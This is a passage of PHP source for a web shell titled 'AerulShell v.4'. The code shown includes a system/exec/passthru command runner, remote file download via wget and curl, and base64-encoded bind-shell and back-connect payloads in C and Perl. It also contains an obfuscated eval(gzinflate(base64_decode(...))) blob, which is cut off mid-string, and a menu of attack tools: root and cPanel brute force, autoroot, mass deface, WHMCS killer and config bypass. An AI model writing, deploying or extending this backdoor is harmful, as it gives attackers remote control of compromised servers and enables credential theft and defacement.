  443. <td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</a>
  444. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  445. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  446. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
  447. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  448. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  449. onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  450. </form> </td>
  451. <td>".ukuran($full)."</td>
  452. <td style=\"text-align:center;\">".$owner."</td>
  453. <td>".get_perms($full)."</td>
  454. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  455. <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a>
  456. | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>
  457. | <a href=\"?y=$pwd&amp;delete=$full\">delete</a>
  458. | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gz</a>)
  459. </td>
  460. </tr>";
  461. }
  462. $buff .= "</table>"; return $buff;
  463. }
  464. function ukuran($file)
  465. {
  466. if($size = @filesize($file))
  467. {
  468. if($size <= 1024) return $size;
  469. else
  470. {
  471. if($size <= 1024*1024)
  472. { $size = @round($size / 1024,2);; return "$size kb"; }
  473. else { $size = @round($size / 1024 / 1024,2); return "$size mb"; }
  474. }
  475. }
  476. else return "???";
  477. }
  478. function exe($cmd)
  479. {
  480. if(function_exists('system'))
  481. {
  482. @ob_start();
  483. @system($cmd);
  484. $buff = @ob_get_contents();
  485. @ob_end_clean();
  486. return $buff;
  487. }
  488. elseif(function_exists('exec'))
  489. {
  490. @exec($cmd,$results);
  491. $buff = "";
  492. foreach($results as $result)
  493. { $buff .= $result; }
  494. return $buff;
  495. }
  496. elseif(function_exists('passthru'))
  497. {
  498. @ob_start();
  499. @passthru($cmd);
  500. $buff = @ob_get_contents();
  501. @ob_end_clean();
  502. return $buff;
  503. }
  504. elseif(function_exists('shell_exec'))
  505. {
  506. $buff = @shell_exec($cmd);
  507. return $buff;
  508. }
  509. }
  510. function tulis($file,$text)
  511. {
  512. $textz = gzinflate(base64_decode($text));
  513. if($filez = @fopen($file,"w"))
  514. {
  515. @fputs($filez,$textz);
  516. @fclose($file);
  517. }
  518. }
  519. function ambil($link,$file)
  520. {
  521. if($fp = @fopen($link,"r"))
  522. {
  523. while(!feof($fp))
  524. {
  525. $cont.= @fread($fp,1024);
  526. }
  527. @fclose($fp);
  528. $fp2 = @fopen($file,"w");
  529. @fwrite($fp2,$cont);
  530. @fclose($fp2);
  531. }
  532. }
  533. function which($pr)
  534. {
  535. $path = exe("which $pr");
  536. if(!empty($path))
  537. { return trim($path); }
  538. else { return trim($pr); }
  539. }
  540. function download($cmd,$url)
  541. {
  542. $namafile = basename($url);
  543. switch($cmd)
  544. {
  545. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile); break;
  546. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile); break;
  547. case 'wfread' : ambil($wurl,$namafile);break;
  548. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  549. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  550. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  551. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  552. default: break; }
  553. return $namafile;
  554. }
  555. function get_perms($file)
  556. {
  557. if($mode=@fileperms($file))
  558. {
  559. $perms='';
  560. $perms .= ($mode & 00400) ? 'r' : '-';
  561. $perms .= ($mode & 00200) ? 'w' : '-';
  562. $perms .= ($mode & 00100) ? 'x' : '-';
  563. $perms .= ($mode & 00040) ? 'r' : '-';
  564. $perms .= ($mode & 00020) ? 'w' : '-';
  565. $perms .= ($mode & 00010) ? 'x' : '-';
  566. $perms .= ($mode & 00004) ? 'r' : '-';
  567. $perms .= ($mode & 00002) ? 'w' : '-';
  568. $perms .= ($mode & 00001) ? 'x' : '-';
  569. return $perms;
  570. }
  571. else return "??????????";
  572. }
  573. function clearspace($text){ return str_replace(" ","_",$text); }
  574. $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  575. $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  576. $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  577. ?>
  578. <html>
  579. <head>
  580. <link rel="shortcut icon" href="http://i1121.photobucket.com/albums/l513/iqbalkanci/indonesia-icon-1-1.png" type="image/x-icon" />
  581. <title><?php print TITLE; ?> <?php echo VERSION; ?></title>
  582. <script type='text/javascript'>
  583. var message = new Array() // leave this as is
  584. message[0] = "-=[AerulShell v.4]=-";
  585. var reps = 2
  586. var speed = 70
  587. var p=message.length;
  588. var T="";
  589. var C=0;
  590. var mC=0;
  591. var s=0;
  592. var sT=null;
  593. if(reps<1)reps=1;
  594. function doTheThing(){
  595. T=message[mC];
  596. A();}
  597. function A(){
  598. s++
  599. if(s>9){s=1}
  600. if(s==1){document.title='[D====] '+T+' [====I]'}
  601. if(s==2){document.title='[=E===] '+T+' [===N=]'}
  602. if(s==3){document.title='[==F==] '+T+' [==D==]'}
  603. if(s==4){document.title='[===A=] '+T+' [=O===]'}
  604. if(s==5){document.title='[====>] '+T+' [N====]'}
  605. if(s==6){document.title='[===C=] '+T+' [=E===]'}
  606. if(s==7){document.title='[==E==] '+T+' [==S==]'}
  607. if(s==8){document.title='[=R===] '+T+' [===I=]'}
  608. if(s==9){document.title='[==-==] '+T+' [====A]'}
  609. if(C<(8*reps)){
  610. sT=setTimeout("A()",speed);
  611. C++
  612. }else{
  613. C=0;
  614. s=0;
  615. mC++
  616. if(mC>p-1)mC=0;
  617. sT=null;
  618. doTheThing();}}
  619. doTheThing();
  620. </script>
  621. <script type="text/javascript">
  622. function tukar(lama,baru)
  623. {
  624. document.getElementById(lama).style.display = 'none';
  625. document.getElementById(baru).style.display = 'block';
  626. }
  627. </script>
  628. <style type="text/css">
  629. AKUSTYLE{ display:none; }
  630. body{ background-color:transparan;background:#000;background-image: url("http://i24.photobucket.com/albums/c42/revoconsole/adwh_zps8685aa9b.png");background-position: center; background-attachment: fixed;background-repeat: no-repeat; }
  631. A:link {COLOR: #00FF15; TEXT-DECORATION: none }
  632. A:visited {COLOR: #00FF15; TEXT-DECORATION: none }
  633. A:hover {text-shadow: 0pt 0pt 0.0em cyan, 0pt 0pt 0.0em cyan; color: #ffea00; TEXT-DECORATION: none }
  634. A:active {color: Red; TEXT-DECORATION: none }
  635. textarea {BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: #1b1b1b; font: Fixedsys bold; color: #00FF1E; }
  636. *{ font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; }
  637. #menu{ background:#111111; margin:2px 2px 2px 2px; }
  638. #menu a{ padding:4px 15px; margin:0; background:#4B2323; text-decoration:none; letter-spacing:2px; -moz-border-radius: 5px; -webkit-border-radius: 15px; -khtml-border-radius: 15px; border-radius: 7px; }
  639. #menu a:hover{ background:#4F7456; border-bottom:1px solid #333333; border-top:1px solid #333333; }
  640. .tabnet{ margin:15px auto 0 auto; border: 1px solid #333333; }
  641. .main { width:100%; }
  642. .gaya { color: #FF0000; }
  643. .your_ip { color: #FF4719; }
  644. .inputz{ background:#000; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; }
  645. .inputzbut{ background:#111111; color:#666666; margin:0 4px; border:1px solid #444444; }
  646. .inputz:hover,
  647. .inputzbut:hover{ border-bottom:1px solid #4532F6; border-top:1px solid #D4CECE; color:#D4CECE; }
  648. .output { margin:auto; border:1px solid #FF0000; width:100%; height:400px; background:#000000; padding:0 2px; }
  649. .cmdbox{ width:100%; }
  650. .head_info{ padding: 0 4px; }
  651. .b1{ font-size:30px; padding:0; color:#FF0000; }
  652. .b2{ font-size:30px; padding:0; color: #FF9966; }
  653. .b_tbl{ text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; }
  654. .phpinfo table{ width:100%; padding:0 0 0 0; }
  655. .phpinfo td{ background:#111111; color:#cccccc; padding:6px 8px;; }
  656. .phpinfo th, th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; }
  657. .phpinfo h2,
  658. .phpinfo h2 a{ text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; }
  659. .explore{ width:100%; }
  660. .explore a { text-decoration:none; }
  661. .explore td{ border-bottom:1px solid #333333; padding:0 8px; line-height:24px; }
  662. .explore th{ padding:3px 8px; font-weight:normal; }
  663. .explore th:hover,
  664. .phpinfo th:hover{ border-bottom:1px solid #FF0000; }
  665. .explore tr:hover{ background:#744F4F; }
  666. .viewfile{ background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; }
  667. .sembunyi{ display:none; padding:0;margin:0; }
  668. </style>
  669. </head>
  670. <body onLoad="document.getElementById('cmd').focus();">
  671. <div class="main">
  672. <!-- head info start here -->
  673. <div class="head_info">
  674. <table>
  675. <tr>
  676. <td>
  677. <table class="b_tbl">
  678. <tr>
  679. <td>
  680. <a href="?"><span class="b1"><img src="http://i24.photobucket.com/albums/c42/revoconsole/v4_zps788bcd2e.png" width="319" height="119" border="0"></span></a></td>
  681. </tr>
  682. <tr>
  683. <td>Powered by <?php echo $ver; ?></td>
  684. </tr>
  685. </table>
  686. </td>
  687. <td>
  688. <?php echo $buff; ?>
  689. </td>
  690. </tr>
  691. </table>
  692. </div>
  693. <!-- head info end here -->
  694. <!-- menu start -->
  695. <div id="menu">
  696. <center>
  697. <a href="?<?php echo "y=".$pwd; ?>"><b> Home</b></a>
  698. <a href="?<?php echo "y=".$pwd; ?>&amp;x=shell"> <b>Shell</b></a>
  699. <a href="?<?php echo "y=".$pwd; ?>&amp;x=php"> <b>Eval</b></a>
  700. <a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo"> <b>PHP info</b></a>
  701. <a href="?<?php echo "y=".$pwd; ?>&amp;x=interface"> <b>Mysql Manager</b></a>
  702. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql"> <b>MySQL</b></a>
  703. <a href="?<?php echo "y=".$pwd; ?>&amp;x=upload"> <b>Upload</b></a>
  704. <a href="?<?php echo "y=".$pwd; ?>&amp;x=backconnect"> <b>Backconnect</b></a>
  705. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mail"> <b>Mail</b></a>
  706. <a href="?<?php echo "y=".$pwd; ?>&amp;x=port-scanner"> <b>PortScan</b></a>
  707. <a href="?<?php echo "y=".$pwd; ?>&amp;x=readable"> <b>Lompat</b></a>
  708. <a href="?<?php echo "y=".$pwd; ?>&amp;x=domain"> <b>Domain</b></a>
  709. <a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink"> <b>Symlink</b></a><br><br>
  710.  
  711. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cgishell"> <b>CGI-Shell</b></a>
  712. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi2012"> <b>CGI-Telnet2012</b></a>
  713. <a href="?<?php echo "y=".$pwd; ?>&amp;x=python"> <b>Python</b></a>
  714. <a href="?<?php echo "y=".$pwd; ?>&amp;x=bypassconfig"> <b>BypassConfig</b></a>
  715. <a href="?<?php echo "y=".$pwd; ?>&amp;x=configsh3ll"> <b>ConfigSh3ll</b></a>
  716. <a href="?<?php echo "y=".$pwd; ?>&amp;x=wp"> <b>Wordpress Reset</b></a>
  717. <a href="?<?php echo "y=".$pwd; ?>&amp;x=joomla"> <b>Joomla Reset</b></a>
  718. <a href="?<?php echo "y=".$pwd; ?>&amp;x=vb"> <b>VBulettin</b></a>
  719. <a href="?<?php echo "y=".$pwd; ?>&amp;x=litespeed"> <b>Litespeed</b></a>
  720. <a href="?<?php echo "y=".$pwd; ?>&amp;x=zone-h"> <b>Zone-H</b></a><br><br>
  721.  
  722. <a href="?<?php echo "y=".$pwd; ?>&amp;x=safemode"> <b>Safe Mode</b></a>
  723. <a href="?<?php echo "y=".$pwd; ?>&amp;x=encrypt"> <b>MD5 Encrypt</b></a>
  724. <a href="?<?php echo "y=".$pwd; ?>&amp;x=MD5"> <b>MD5 Decrypt</b></a>
  725. <a href="?<?php echo "y=".$pwd; ?>&amp;x=bdscan"> <b>Backdoor Scanner</b></a>
  726. <a href="?<?php echo "y=".$pwd; ?>&amp;x=whmkill"> <b>WHMCS Killer</b></a>
  727. <a href="?<?php echo "y=".$pwd; ?>&amp;x=whmcsdec"> <b>WHMCS Decoder</b></a>
  728. <a href="?<?php echo "y=".$pwd; ?>&amp;x=rootbrute"> <b>Root BruteForce</b></a>
  729. <a href="?<?php echo "y=".$pwd; ?>&amp;x=autoroot"> <b>Autoroot</b></a>
  730. <a href="?<?php echo "y=".$pwd; ?>&amp;x=fans"> <b>HKC on FB</b></a><br><br>
  731.  
  732. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cpbrute"> <b>Cpanel BruteForce</b></a>
  733. <a href="?<?php echo "y=".$pwd; ?>&amp;x=web-info"> <b>WhoIs</b></a>
  734. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cpfind"> <b>CpanelFinder</b></a>
  735. <a href="?<?php echo "y=".$pwd; ?>&amp;x=bingreverse"> <b>Reverse Ip</b></a>
  736. <a href="?<?php echo "y=".$pwd; ?>&amp;x=massdeface"> <b>MassDeface</b></a>
  737. <a href="?<?php echo "y=".$pwd; ?>&amp;x=command"> <b>Command</b></a>
  738. <a href="?<?php echo "y=".$pwd; ?>&amp;x=passlist"> <b>Wordlist</b></a>
  739. <a href="?<?php echo "y=".$pwd; ?>&amp;x=wso25"> <b>WSO 2.5</b></a>
  740. <a href="?<?php echo "y=".$pwd; ?>&amp;x=about"> <b>About</b></a>
  741. <a href="?<?php echo "y=".$pwd; ?>&amp;x=Cleaner"> <b>AutoClean</b></a>
  742. <a href="?x=out"> <b>Logout</b></a>
  743. </center>
  744. </div>
  745. <!-- menu end -->
  746. <?php
  747. if(isset($_GET['x']) && ($_GET['x'] == 'out')) { logout(); }
  748. elseif(isset($_GET['x']) && ($_GET['x'] == 'php'))
  749. {
  750. ?>
  751. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  752. <table class="cmdbox">
  753. <tr>
  754. <td>
  755. <textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('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